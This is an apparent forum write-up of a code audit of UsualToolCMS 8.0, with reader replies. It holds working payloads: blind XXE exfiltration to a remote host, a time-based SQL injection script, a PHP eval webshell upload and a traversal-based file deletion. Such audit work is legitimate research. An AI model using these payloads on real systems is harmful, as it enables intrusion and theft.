用户
搜索
  • TA的每日心情
    开心
    2018-12-11 19:06
  • 签到天数: 9 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    10

    主题

    39

    帖子

    238

    魔法币
    收听
    1
    粉丝
    1
    注册时间
    2016-6-22

    i春秋签约作者

    发表于 2019-9-30 23:48:54 42492
    本帖最后由 佳哥 于 2019-9-30 23:48 编辑

    一、前言
    最近一直在学习渗透测试跟内网相关的知识,以前学的代码审计,有好久都没看审计了,最近想去混几个cnvd证书,网上找了个简单cms来审计,就当实战练习下审计(这个审计很基础,希望大佬们看了不要喷我,我会继续学习,分享好文章)。

    二、前台XML外部实体注入
    通过全局搜索simplexml_load_string函数,发现代码117行可能存在xxe

    2

    2

    跟踪responseMsg方法,当echostr不存在执行responseMsg

    1

    1

    由于是xxe盲注,接下来就可以利用盲注读取任意文件,先编写远程dtd
    <!ENTITY % all
    "<!ENTITY % send SYSTEM 'http://xx.xx.xx.xx/?%file;'>"
    >
    %all;
    读取windows下F:/1.txt文件,post提交:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "file:///F:/1.txt">
    <!ENTITY % dtd SYSTEM "http://xx.xxx.xx.xx/tools/evil.dtd">
    %dtd;
    %send;

    查看vps上的log文件,成功读取到1.txt文件
    3.png


    三、后台时间盲注
    通过seay代码审计工具找到一个update注入,由于paths变量没有做任何过滤,可以导致时间盲注
    4.png
    构造payload:cmsadmin/a_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring(user(),1,1))>0,sleep(5),1)--+
    5.png

    可编写时间盲注脚本(很简单,大佬轻喷)

    # -*- coding:utf-8 -*-
    
    import time
    import requests
    
    session = requests.session()
    headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0'}
    img_url = 'http://192.168.8.108:8081/UsualToolCMS-8.0-Release/class/UsualToolCMS_Code.php?r=13720'
    img_req = session.get(url=img_url,headers=headers).content
    with open('pic.png','wb') as f:
            f.write(img_req)
    
    code = input('请输入验证码:')
    data = {
            'uuser':'admin',
            'upass':'admin',
            'ucode':code
    }
    # payloads = list('root@localhost@abcdefghijklmnopqstuvwxyz')
    payloads = list('root@localhostasfafsasf')
    url = 'http://192.168.8.108:8081/UsualToolCMS-8.0-Release/cmsadmin/a_login.php?do=login'
    response = session.post(url=url,headers=headers,data=data)
    # res_url_1 = "http://127.0.0.1:8080/UsualToolCMS/cmsadmin/a_users_level.php?x=m&id=2 and if(ascii(substr(user(),{},1))={},sleep(15),1)"
    res_url_1 = "http://192.168.8.108:8081/UsualToolCMS-8.0-Release/cmsadmin/a_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring(user(),{},1))={},sleep(5),1)--+"
    result = ''
    for i in range(1,15):
            for payload in payloads:
                    res_url_2 = res_url_1.format(str(i),ord(payload))
                    start_time = time.time()
                    response = session.get(url=res_url_2,headers=headers)
                    if time.time() - start_time > 7:
                            result = result + payload
                            print(result)
                            break

    6.png

    四、任意文件写入导致getshell
    这个洞也是通过seay审计工具看到的,file_put_contents函数能将字符写入文件中
    7.png
    从post获取filename,content,由于没有做任何过滤,可以任意文件写入
    构造payload:
    url:http://192.168.8.108:8081/UsualToolCMS-8.0-Release/cmsadmin/a_templetex.php?x=m
    post提交: filename=fanxing.php&dir=update&content=<?php @eval($_POST['c']);?>
    保存到网站根目录的update目录下
    8.png


    9.png

    五、任意文件删除漏洞
    全局查找unlink函数,判断subfile变量目录是否存在,存在就删除
    10.png
    跟踪delDir函数,当t=del,id参数存在,delfile参数存在,就执行delDir函数
    11.png
    由于18行会将id获取的../转换成空,sqlcheck函数不会对 . 或者 / 进行转义,所有可以利用 ..././ 来绕过这种过滤,所有完整payload如:a_apix.php?id=..././aaa&t=del&delfile=123
    12.png


    六、后记
    这个cms很简单,希望大佬不要喷,CNVD证书非常好弄,审计简单cms基本都有
    O62IPM86~ZS0Q898AUT3$Z9.png
    希望大佬不要喷!!!


    J0o1ey 版主 QQ547006660~欢迎交流 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手
    沙发
    发表于 2019-10-1 01:20:55
    可以可以,对于审计新手来说是不错的学习资料~
    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660交流群820783253
    使用道具 举报 回复
    发表于 2019-10-1 09:48:17
    可以可以,对于审计新手来说是不错的学习资料
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2019-10-3 11:14:49
    大佬,申请cnvd证书,如果只是审计cms的话,还需要在网上找实际案例,才能申请吗,还是只是进行代码审计就可以了
    使用道具 举报 回复
    发表于 2019-10-5 12:06:36
    loser1 发表于 2019-10-3 11:14
    大佬,申请cnvd证书,如果只是审计cms的话,还需要在网上找实际案例,才能申请吗,还是只是进行代码审计就 ...

    不需要
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册